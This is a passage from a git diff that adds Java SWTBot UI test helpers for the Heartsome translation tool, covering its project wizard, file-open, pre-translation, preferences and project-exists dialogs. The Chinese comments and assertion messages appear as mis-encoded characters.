setBasicInfo(String name, String remark, String client, String company, String eMail) { + assertTrue("项目å称ä¸èƒ½ä¸º null。", name != null); + setName(name); + if (remark != null) { + setRemark(remark); + } + if (client != null) { + setClient(client); + } + if (company != null) { + setCompany(company); + } + if (eMail != null) { + setEMail(eMail); + } + } + + /** + * @param basicInfo 字符串数组:项目基本信æ¯ï¼ŒæŒ‰ç…§ç•Œé¢é¡ºåºä¾æ¬¡ä¸ºé¡¹ç›®å称ã€å¤‡æ³¨ã€å®¢æˆ·ã€å…¬å¸ã€é‚®ç®±ã€‚ + */ + public void setBasicInfo(String[] basicInfo) { + assertTrue("项目基本信æ¯å‚æ•°ä¸æ­£ç¡®ã€‚", basicInfo.length == 5); + assertTrue("项目å称ä¸èƒ½ä¸º null。", basicInfo[0] != null); + setName(basicInfo[0]); + if (basicInfo[1] != null) { + setRemark(basicInfo[1]); + } + if (basicInfo[2] != null) { + setClient(basicInfo[2]); + } + if (basicInfo[3] != null) { + setCompany(basicInfo[3]); + } + if (basicInfo[4] != null) { + setEMail(basicInfo[4]); + } + } + + /** + * @param srcLangCode + * @param tgtLangCodes ; + */ + public void setLangPair(String srcLangCode, String... tgtLangCodes) { + assertTrue("æºè¯­è¨€ä»£ç ä¸èƒ½ä¸ºç©ºæˆ– null。", !(srcLangCode == null || "".equals(srcLangCode))); + setSrcLang(srcLangCode); + + assertTrue("目标语言语言ä¸èƒ½ä¸ºç©ºæˆ– null。", tgtLangCodes.length > 0); + for (int i = 0; i < tgtLangCodes.length; i++) { + assertTrue("目标语言语言ä¸èƒ½ä¸ºç©ºæˆ– null。", !(tgtLangCodes[i] == null || "".equals(tgtLangCodes[i]))); + } + setTgtLang(tgtLangCodes); + } + + /** + * @param srcLangCode + * @param tgtLangCodes ; + */ + public void setLangPair(String srcLangCode, List tgtLangCodes) { + + assertTrue("æºè¯­è¨€ä»£ç ä¸èƒ½ä¸ºç©ºæˆ– null。", !(srcLangCode == null || "".equals(srcLangCode))); + setSrcLang(srcLangCode); + + assertTrue("目标语言语言ä¸èƒ½ä¸ºç©ºæˆ– null。", tgtLangCodes.size() > 0); + for (String tgtLangCode : tgtLangCodes) { + assertTrue("目标语言语言ä¸èƒ½ä¸ºç©ºæˆ– null。", !(tgtLangCode == null || "".equals(tgtLangCode))); + } + setTgtLang(tgtLangCodes); + } + + /** + * 断言对è¯æ¡†æ ‡é¢˜æ˜¯å¦ç¬¦åˆé¢„期; + */ + public void isTitleCreateProject() { + assertTrue("创建项目å‘导对è¯æ¡†çš„标题ä¸æ­£ç¡®ã€‚", getText().equals(TsUIConstants.getString("dlgTitleCreateProject"))); + } + + /** + * 断言对è¯æ¡†æ ‡é¢˜æ˜¯å¦ç¬¦åˆé¢„期(从èœå•ã€å¿«æ·é”®åŠå³é”®æ–°å»ºå…¶ä»–); + */ + public void isTitleNew() { + assertTrue("新建å‘导对è¯æ¡†çš„标题ä¸æ­£ç¡®ã€‚", getText().equals(TsUIConstants.getString("dlgTitleFileNew"))); + } + + /** + * 断言对è¯æ¡†æ ‡é¢˜æ˜¯å¦ç¬¦åˆé¢„期(从å³é”®æ–°å»ºé¡¹ç›®ï¼‰; + */ + public void isTitleNewProject() { + assertTrue("新建项目å‘导对è¯æ¡†çš„标题ä¸æ­£ç¡®ã€‚", getText().equals(TsUIConstants.getString("dlgTitleFileNewProject"))); + } + + /** + * @param name ; + */ + public void setName(String name) { + txtWLblProjectName().setText(name); + } + + /** + * @param prjRemark ; + */ + public void setRemark(String prjRemark) { + txtWLblRemark().setText(prjRemark); + } + + /** + * @param prjClient ; + */ + public void setClient(String prjClient) { + txtWLblClient().setText(prjClient); + } + + /** + * @param prjCompany ; + */ + public void setCompany(String prjCompany) { + txtWLblCompany().setText(prjCompany); + } + + /** + * @param eMail ; + */ + public void setEMail(String eMail) { + txtWLblEMail().setText(eMail); + } + + /** + * @param srcLangCode ; + */ + public void setSrcLang(String srcLangCode) { + String srcLang = TsUIConstants.getLang(srcLangCode); + cmbSourceLang().setSelection(srcLang); + assertTrue("æºè¯­è¨€è®¾ç½®å¤±è´¥ã€‚", srcLang.equals(cmbSourceLang().selection())); + } + + /** + * @param tgtLangCodes ; + */ + public void setTgtLang(String... tgtLangCodes) { + String[] tgtLangs = TsUIConstants.getLangs(tgtLangCodes); + tabTargetLangAvailable().select(tgtLangs); + btnAddToRight().click(); + for (int i = 0; i < tgtLangs.length; i++) { + assertTrue("目标语言设置失败:" + tgtLangs[i], tabTargetLangSelected().indexOf(tgtLangs[i]) != -1); + } + } + + /** + * @param tgtLangCodes ; + */ + public void setTgtLang(List tgtLangCodes) { + String[] langs = new String[tgtLangCodes.size()]; + tgtLangCodes.toArray(langs); + setTgtLang(langs); + } + + /** + * @param tgtLangCodes ; + */ + public void rmTgtLang(String... tgtLangCodes) { + assertTrue("目标语言语言ä¸èƒ½ä¸ºç©ºæˆ– null。", tgtLangCodes.length > 0); + for (int i = 0; i < tgtLangCodes.length; i++) { + assertTrue("目标语言语言ä¸èƒ½ä¸ºç©ºæˆ– null。", !(tgtLangCodes[i] == null || "".equals(tgtLangCodes[i]))); + } + String[] tgtLangs = TsUIConstants.getLangs(tgtLangCodes); + for (int i = 0; i < tgtLangs.length; i++) { + assertTrue("该目标语言代ç å¯¹åº”的语言未添加到已选列表:" + tgtLangCodes[i], tabTargetLangSelected().indexOf(tgtLangs[i]) != -1); + } + tabTargetLangSelected().select(tgtLangs); + btnDeleteToLeft().click(); + for (int i = 0; i < tgtLangs.length; i++) { + assertTrue("目标语言删除失败:" + tgtLangs[i], tabTargetLangSelected().indexOf(tgtLangs[i]) == -1); + } + } + + /** + * ; + */ + public void rmAllTgtLang() { + btnDeleteAll().click(); + assertTrue("目标语言删除失败。", tabTargetLangSelected().rowCount() == 0); + } + + + /***************************************** + * ç•Œé¢å…ƒç´ æ˜ å°„ + *****************************************/ + + /** + * @return 第 1 页:项目信æ¯; + */ + public SWTBotLabel lblProjectInfo() { + return dialogBot.label(TsUIConstants.getString("lblProjectInfo")); + } + + /** + * @return 文本框:项目å + */ + public SWTBotText txtWLblProjectName() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblProjectName")); + } + + /** + * @return 文本框:备注 + */ + public SWTBotText txtWLblRemark() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblProjectRemark")); + } + + /** + * @return 文本框:客户 + */ + public SWTBotText txtWLblClient() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblProjectClient")); + } + + /** + * @return æ–‡æœ¬æ¡†ï¼šå…¬å¸ + */ + public SWTBotText txtWLblCompany() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblProjectCompany")); + } + + /** + * @return 文本框:电å­é‚®ç®± + */ + public SWTBotText txtWLblEMail() { + return dialogBot.textWithLabel(TsUIConstants.getString("txtWLblProjectEMail")); + } + + /** + * @return 文本:项目å称é‡å¤ + */ + public SWTBotText msgDucplicatedProjectName() { + return dialogBot.text(TsUIConstants.getString("msgDucplicatedProjectName")); + } + + /** + * @return 文本:项目å称å«éžæ³•å­—符 + */ + public SWTBotText msgInvalidCharInResourceName(String invalidChar, String resourceName) { + String msg = TsUIConstants.getString("msgInvalidCharInResourceName"); + return dialogBot.text(MessageFormat.format(msg, invalidChar, resourceName)); + } + + /** + * @return 第 2 页:语言对设置; + */ + public SWTBotLabel lblLangSetting() { + return dialogBot.label(TsUIConstants.getString("lblLangSetting")); + } + + /** + * @return 下拉列表:æºè¯­è¨€ + */ + public SWTBotTableCombo cmbSourceLang() { + return dialogBot.tableCombo(); + } + + /** + * @return 表格:å¯ä¾›é€‰æ‹©çš„目标语言 + */ + public SWTBotTable tabTargetLangAvailable() { + return dialogBot.table(0); + } + + /** + * @return 表格:已选择的目标语言 + */ + public SWTBotTable tabTargetLangSelected() { + return dialogBot.table(1); + } + + /** + * @return 按钮:添加目标语言 + */ + public SWTBotButton btnAddToRight() { + return dialogBot.button(TsUIConstants.getString("btnAddToRight")); + } + + /** + * @return 按钮:删除目标语言 + */ + public SWTBotButton btnDeleteToLeft() { + return dialogBot.button(TsUIConstants.getString("btnDeleteToLeft")); + } + + /** + * @return 按钮:删除所有目标语言 + */ + public SWTBotButton btnDeleteAll() { + return dialogBot.button(TsUIConstants.getString("btnDeleteAll")); + } + + /** + * @return 第 3 页:记忆库设置; + */ + public SWTBotLabel lblTmSetting() { + return dialogBot.label(TsUIConstants.getString("lblTmSetting")); + } + + /** + * @return ; + */ + public SWTBotTable tblTMDB() { + return dialogBot.table(); + } + + /** + * @return ; + */ + public SWTBotButton btnAdd() { + return dialogBot.button(TsUIConstants.getString("btnAddA")); + } + + /** + * @return ; + */ + public SWTBotButton btnCreate() { + return dialogBot.button(TsUIConstants.getString("btnCreate")); + } + + /** + * @return ; + */ + public SWTBotButton btnDelete() { + return dialogBot.button(TsUIConstants.getString("btnDeleteD")); + } + + /** + * @return ; + */ + public SWTBotButton btnImportTMX() { + return dialogBot.button(TsUIConstants.getString("btnImportTMX")); + } + + /** + * @return ; + */ + public SWTBotLabel lblTbSetting() { + return dialogBot.label(TsUIConstants.getString("lblTbSetting")); + } + + /** + * @return 第 4 页:术语库设置; + */ + public SWTBotTable tblTBDB() { + return dialogBot.table(); + } + + /** + * @return ; + */ + public SWTBotButton btnImportTBX() { + return dialogBot.button(TsUIConstants.getString("btnImportTBX")); + } + + /** + * @return 第 5 页:添加æºæ–‡ä»¶; + */ + public SWTBotLabel lblAddSrcFile() { + return dialogBot.label(TsUIConstants.getString("lblAddSrcFile")); + } + + /** + * @return ; + */ + public SWTBotList lstSrcFile() { + return dialogBot.list(); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewWizardDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewWizardDialog.java new file mode 100644 index 0000000..5b3f231 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/NewWizardDialog.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.widgets.HsSWTBotShell; + +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.hamcrest.SelfDescribing; + +/** + * 新建...å‘导对è¯æ¡† + * @author felix_lu + */ +public class NewWizardDialog extends HsSWTBotShell { + + private SWTBot dialogBot = this.bot(); + + /** + * @param shell + */ + public NewWizardDialog(Shell shell) { + super(shell); + } + + /** + * @param shell + * @param description + */ + public NewWizardDialog(Shell shell, SelfDescribing description) { + super(shell, description); + } + + /** + * @return SWTBotButton 上一步 + */ + public SWTBotButton btnBack() { + return dialogBot.button(TsUIConstants.getString("btnBack")); + } + + /** + * @return SWTBotButton å–消 + */ + public SWTBotButton btnCancel() { + return dialogBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return SWTBotButton å®Œæˆ + */ + public SWTBotButton btnFinish() { + return dialogBot.button(TsUIConstants.getString("btnFinish")); + } + + /** + * @return SWTBotButton 下一步 + */ + public SWTBotButton btnNext() { + return dialogBot.button(TsUIConstants.getString("btnNext")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/OpenFileDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/OpenFileDialog.java new file mode 100644 index 0000000..167235f --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/OpenFileDialog.java @@ -0,0 +1,70 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.msgdialogs.InfoFileNotFound; +import net.heartsome.test.swtbot.finders.HsSWTWorkbenchBot; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.waits.IsEditorOpened; +import net.heartsome.test.utilities.sikuli.OsUtil; + +import org.eclipse.core.runtime.Path; +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotEditor; + +/** + * 打开文件对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class OpenFileDialog { + + /** + * + */ + private OpenFileDialog() { + } + + /** + * 默认文件路径有效 + * @param filePath + * 文件路径 + */ + public static void openFile(String filePath) { + openFile(filePath, true, true); + } + + /** + * 在打开文件对è¯æ¡†ä¸­è¾“入指定文件å称或路径 + * @param filePath + * è¦æ‰“开的文件å称或路径 + * @param isValid + * 是å¦ä¸ºæœ‰æ•ˆæ–‡ä»¶å称或路径 + * @param isFile + * true 表示输入的是文件å称,false 表示文件路径 + */ + public static void openFile(String filePath, boolean isValid, boolean isFile) { + OsUtil.typePath(filePath); // typePath 方法处ç†äº†å¤šç§æ“作系统的情况 + + String fileName = new Path(filePath).lastSegment(); // 从路径中å–出文件å + + if (isValid) { + // 确认编辑器æˆåŠŸæ‰“å¼€ + HsSWTWorkbenchBot bot = HSBot.bot(); + final SWTBotEditor editor = bot.editorByTitle(fileName); + bot.waitUntil(new IsEditorOpened(editor)); + } else { + if (isFile) { + // 弹出信æ¯å¯¹è¯æ¡† + InfoFileNotFound fnf = new InfoFileNotFound(filePath); + fnf.msgFileNotFound().isVisible(); // 文件未找到 + fnf.btnOK().click(); + } else { + try { + OsUtil.typeEnter(); // 在系统对è¯æ¡†çš„ä¿¡æ¯æ示框上点确认 + OsUtil.typeEsc(); // 按 Esc å–消打开文件 + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreTranslateDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreTranslateDialog.java new file mode 100644 index 0000000..6b22743 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreTranslateDialog.java @@ -0,0 +1,96 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotTable; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCheckBox; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 预翻译对è¯æ¡† + * @author felix_lu + */ +public class PreTranslateDialog extends SWTBotShell { + + private SWTBot dlgBot = this.bot(); + + /** + * 按标题识别对è¯æ¡† + */ + public PreTranslateDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitlePreTranslation")).widget); + } + + /** + * @return 表格:预翻译文件列表; + */ + public HsSWTBotTable table() { + return new HsSWTBotTable(dlgBot.table()); + } + + /** + * @return 列å文本:åºå·; + */ + public String tblColNum() { + return TsUIConstants.getString("tblColNum2"); + } + + /** + * @return 列å文本:文件; + */ + public String tblColFile() { + return TsUIConstants.getString("tblColFile"); + } + + /** + * @return 列å文本:æºè¯­è¨€; + */ + public String tblColSrcLang() { + return TsUIConstants.getString("tblColSrcLang"); + } + + /** + * @return 列å文本:目标语言; + */ + public String tblColTgtLang() { + return TsUIConstants.getString("tblColTgtLang"); + } + + /** + * @return å¤é€‰æ¡†ï¼šæ˜¯å¦é”å®šå®Œå…¨åŒ¹é… + */ + public SWTBotCheckBox chkbxLock100Matches() { + return dlgBot.checkBox(TsUIConstants.getString("chkbxLock100Matches")); + } + + /** + * @return å¤é€‰æ¡†ï¼šæ˜¯å¦é”å®šä¸Šä¸‹æ–‡åŒ¹é… + */ + public SWTBotCheckBox chkbxLockContextMatches() { + return dlgBot.checkBox(TsUIConstants.getString("chkbxLockContextMatches")); + } + + /** + * @return 按钮:å‚数设置; + */ + public SWTBotButton btnPreferencesSetting() { + return dlgBot.button(TsUIConstants.getString("btnPreferencesSetting")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dlgBot.button(TsUIConstants.getString("btnCancelC")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dlgBot.button(TsUIConstants.getString("btnOKO")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreTranslateResultDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreTranslateResultDialog.java new file mode 100644 index 0000000..e25ea82 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreTranslateResultDialog.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotTable; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 预翻译结果对è¯æ¡† + * @author felix_lu + */ +public class PreTranslateResultDialog extends SWTBotShell { + + private SWTBot dlgBot = this.bot(); + + /** + * 按标题识别对è¯æ¡† + */ + public PreTranslateResultDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitlePreTransResult")).widget); + } + + /** + * @return 表格:预翻译结果列表; + */ + public HsSWTBotTable table() { + return new HsSWTBotTable(dlgBot.table()); + } + + /** + * @return 列å文本:åºå·; + */ + public String tblColNum() { + return TsUIConstants.getString("tblColNum2"); + } + + /** + * @return 列å文本:文件; + */ + public String tblColFile() { + return TsUIConstants.getString("tblColFile"); + } + + /** + * @return 列å文本:翻译å•å…ƒä¸ªæ•°; + */ + public String tblColTransUnitNum() { + return TsUIConstants.getString("tblColTransUnitNum"); + } + + /** + * @return 列å文本:已翻译å•å…ƒ; + */ + public String tblColTranslatedUnit() { + return TsUIConstants.getString("tblColTranslatedUnit"); + } + + /** + * @return 列å文本:é”定上下文匹é…; + */ + public String tblColLockedContextMatches() { + return TsUIConstants.getString("tblColLockedContextMatches"); + } + + /** + * @return 列å文本:é”定完全匹é…; + */ + public String tblColLocked100Matches() { + return TsUIConstants.getString("tblColLocked100Matches"); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dlgBot.button(TsUIConstants.getString("btnOK")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreferencesDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreferencesDialog.java new file mode 100644 index 0000000..39e4c77 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/PreferencesDialog.java @@ -0,0 +1,248 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.finders.HsSWTBot; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotShell; + +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCheckBox; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotRadio; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotSpinner; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 首选项对è¯æ¡† + * @author felix_lu + */ +public class PreferencesDialog extends HsSWTBotShell { + + private HsSWTBot dlgBot = this.bot(); + private SWTBotTree tree = dlgBot.tree(); + + /** + * 按标题识别对è¯æ¡† + */ + public PreferencesDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitlePreferences")).widget); + } + + /* 记忆库相关设置 */ + + /** + * @return 树节点:记忆库; + */ + public SWTBotTreeItem treiTMDB() { + return tree.expandNode(TsUIConstants.getString("treiTMDB")); + } + + /** + * @return å¤é€‰æ¡†ï¼šå¯ç”¨å…±äº«åº“æ示; + */ + public SWTBotCheckBox tmChkbxShareDBTips() { + return dlgBot.checkBox(TsUIConstants.getString("prefTMChkbxShareDBTips")); + } + + /** + * @return å¤é€‰æ¡†ï¼šä½¿ç”¨è‡ªåŠ¨å¿«é€Ÿç¿»è¯‘; + */ + public SWTBotCheckBox tmChkbxAutoQT() { + return dlgBot.checkBox(TsUIConstants.getString("prefTMChkbxAutoQT")); + } + + /** + * @return å¤é€‰æ¡†ï¼šåŒ¹é…存在时ä¸åº”用记忆库; + */ + public SWTBotCheckBox tmChkbxMatchExistNotApplyTM() { + return dlgBot.checkBox(TsUIConstants.getString("prefTMChkbxMatchExistNotApplyTM")); + } + + /** + * @return å¤é€‰æ¡†ï¼šæœç´¢è®°å¿†åº“时区分大å°å†™; + */ + public SWTBotCheckBox tmChkbxMatchCase() { + return dlgBot.checkBox(TsUIConstants.getString("prefTMChkbxMatchCase")); + } + + /** + * @return å¤é€‰æ¡†ï¼šåŒ¹é…时使用标记自动补全; + */ + public SWTBotCheckBox tmChkbxAutoCompleteTag() { + return dlgBot.checkBox(TsUIConstants.getString("prefTMChkbxAutoCompleteTag")); + } + + /** + * @return å¤é€‰æ¡†ï¼šåŒ¹é…时是å¦å¿½ç•¥æ ‡è®°; + */ + public SWTBotCheckBox tmChkbxIgnoreTag() { + return dlgBot.checkBox(TsUIConstants.getString("prefTMChkbxIgnoreTag")); + } + + /** + * @return 带上下箭头按钮的数字文本框:上下文匹é…文本段数é‡; + */ + public SWTBotSpinner tmSpinContextNumber() { + return dlgBot.spinner(TsUIConstants.getString("prefTMSpinContextNumber")); + } + + /** + * @return 带上下箭头按钮的数字文本框:记忆库最大匹é…æ•°; + */ + public SWTBotSpinner tmSpinMatchNumber() { + return dlgBot.spinner(TsUIConstants.getString("prefTMSpinMatchNumber")); + } + + /** + * @return 带上下箭头按钮的数字文本框:记忆库最低匹é…率; + */ + public SWTBotSpinner tmSpinMinMatchPercentage() { + return dlgBot.spinner(TsUIConstants.getString("prefTMSpinMinMatchPercentage")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šåŒ¹é…率相åŒæ—¶æŽ’åºç­–略,默认库优先; + */ + public SWTBotRadio tmRadBtnSortDefaultDBFirst() { + return dlgBot.radio(TsUIConstants.getString("prefTMRadBtnSortDefaultDBFirst")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šåŒ¹é…率相åŒæ—¶æŽ’åºç­–略,更新时间倒åºæŽ’列; + */ + public SWTBotRadio tmRadBtnSortUpdateTimeReverse() { + return dlgBot.radio(TsUIConstants.getString("prefTMRadBtnSortUpdateTimeReverse")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šè®°å¿†åº“更新策略,始终增加; + */ + public SWTBotRadio tmRadBtnUpdateModeAlwaysAdd() { + return dlgBot.radio(TsUIConstants.getString("prefTMRadBtnUpdateModeAlwaysAdd")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šè®°å¿†åº“更新策略,é‡å¤è¦†ç›–; + */ + public SWTBotRadio tmRadBtnUpdateModeOverwrite() { + return dlgBot.radio(TsUIConstants.getString("prefTMRadBtnUpdateModeOverwrite")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šè®°å¿†åº“更新策略,é‡å¤å¿½ç•¥; + */ + public SWTBotRadio tmRadBtnUpdateModeIgnore() { + return dlgBot.radio(TsUIConstants.getString("prefTMRadBtnUpdateModeIgnore")); + } + + /* 术语库相关设置 */ + + /** + * @return 树节点:术语库; + */ + public SWTBotTreeItem treiTBDB() { + return tree.expandNode(TsUIConstants.getString("treiTBDB")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šæœ¯è¯­åº“更新策略,始终增加; + */ + public SWTBotRadio tbRadBtnUpdateModeAlwaysAdd() { + return dlgBot.radio(TsUIConstants.getString("prefTBRadBtnUpdateModeAlwaysAdd")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šæœ¯è¯­åº“更新策略,é‡å¤è¦†ç›–; + */ + public SWTBotRadio tbRadBtnUpdateModeOverwrite() { + return dlgBot.radio(TsUIConstants.getString("prefTBRadBtnUpdateModeOverwrite")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šæœ¯è¯­åº“更新策略,é‡å¤åˆå¹¶; + */ + public SWTBotRadio tbRadBtnUpdateModeMerge() { + return dlgBot.radio(TsUIConstants.getString("prefTBRadBtnUpdateModeMerge")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šæœ¯è¯­åº“更新策略,é‡å¤å¿½ç•¥; + */ + public SWTBotRadio tbRadBtnUpdateModeIgnore() { + return dlgBot.radio(TsUIConstants.getString("prefTBRadBtnUpdateModeIgnore")); + } + + /* 预翻译 */ + + /** + * @return 树节点:预翻译; + */ + public SWTBotTreeItem treiPreTranslation() { + return tree.expandNode(TsUIConstants.getString("treiPreTranslation")); + } + + /** + * @return å¤é€‰æ¡†ï¼šé¢„翻译区分大å°å†™; + */ + public SWTBotCheckBox transPreChkbxCaseSensitive() { + return dlgBot.checkBox(TsUIConstants.getString("prefTransPreChkbxCaseSensitive")); + } + + /** + * @return Spinner:预翻译最低匹é…率; + */ + public SWTBotSpinner transPreSpinMinMatchPercentage() { + return dlgBot.spinner(TsUIConstants.getString("prefTransPreSpinMinMatchPercentage")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šä¿ç•™çŽ°æœ‰åŒ¹é…; + */ + public SWTBotRadio transPreRadBtnOverwriteModeKeepCurrent() { + return dlgBot.radio(TsUIConstants.getString("prefTransPreRadBtnOverwriteModeKeepCurrent")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šå¦‚果匹é…率比当å‰é«˜ï¼Œè¦†ç›–现有匹é…; + */ + public SWTBotRadio transPreRadBtnOverwriteModeOverwriteIfHigher() { + return dlgBot.radio(TsUIConstants.getString("prefTransPreRadBtnOverwriteModeOverwriteIfHigher")); + } + + /** + * @return å•é€‰æŒ‰é’®ï¼šå§‹ç»ˆè¦†ç›–现有匹é…; + */ + public SWTBotRadio transPreRadBtnOverwriteModeAlwaysOverwrite() { + return dlgBot.radio(TsUIConstants.getString("prefTransPreRadBtnOverwriteModeAlwaysOverwrite")); + } + + /* 通用按钮 */ + + /** + * @return 按钮:æ¢å¤é»˜è®¤è®¾ç½®; + */ + public SWTBotButton btnRestoreDefaults() { + return dlgBot.button(TsUIConstants.getString("btnRestoreDefaults")); + } + + /** + * @return 按钮:应用设置; + */ + public SWTBotButton btnApply() { + return dlgBot.button(TsUIConstants.getString("btnApply")); + } + + /** + * @return 按钮:确定; + */ + public SWTBotButton btnOK() { + return dlgBot.button(TsUIConstants.getString("btnOK")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return dlgBot.button(TsUIConstants.getString("btnCancel")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ProjectExistsDialog.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ProjectExistsDialog.java new file mode 100644 index 0000000..05a8afc --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ProjectExistsDialog.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.ts.test.ui.dialogs; + +import static org.junit.Assert.assertTrue; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotLabel; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; + +/** + * 项目已存在,是å¦è¦è¦†ç›–对è¯æ¡† + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ProjectExistsDialog extends SWTBotShell { + + private SWTBot dialogBot = this.bot(); + private String name; + + /** + * 按钮标题查找对è¯æ¡† + */ + public ProjectExistsDialog() { + super(HSBot.bot().shell(TsUIConstants.getString("dlgTitleProjectExists")).widget); + } + + /** + * @param name + * 文件å,用于判断是å¦é¡¹ç›®é‡åçš„æ示 + */ + public ProjectExistsDialog(String name) { + this(); + this.name = name; + } + + /************************************ + * 常用方法 + ************************************/ + + /** + * @return 是表示出现项目已存在æ示; + */ + public boolean isProjectExistsMsgVisible() { + assertTrue("å‚数错误:未设置 name。", name != null); + try { + lblProjectExists(name).isVisible(); + return true; + } catch (WidgetNotFoundException e) { + return false; + } + } + + /************************************ + * ç•Œé¢æ˜ å°„ + ************************************/ + + /** + * @return 按钮:覆盖; + */ + public SWTBotButton btnYes() { + return dialogBot.button(TsUIConstants.getString("btnYes")); + } + + /** + * @return 按钮:ä¸è¦†ç›–; + */ + public SWTBotButton btnNo() { + return dialogBot.button(TsUIConstants.getString("btnNo")); + } + + /** + * @param name 项目å称 + * @return 文字标签:项目已存在的æ示ã€å¹¶è¯¢é—®æ˜¯å¦éœ€è¦è¦†ç›–ä¿¡æ¯; + */ + public SWTBotLabel lblProjectExists(String name) { + return dialogBot.label(MessageFormat.format(TsUIConstants.getString("lblProjectExists"), name, name)); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/dialogs/ProjectSettingDialog.java 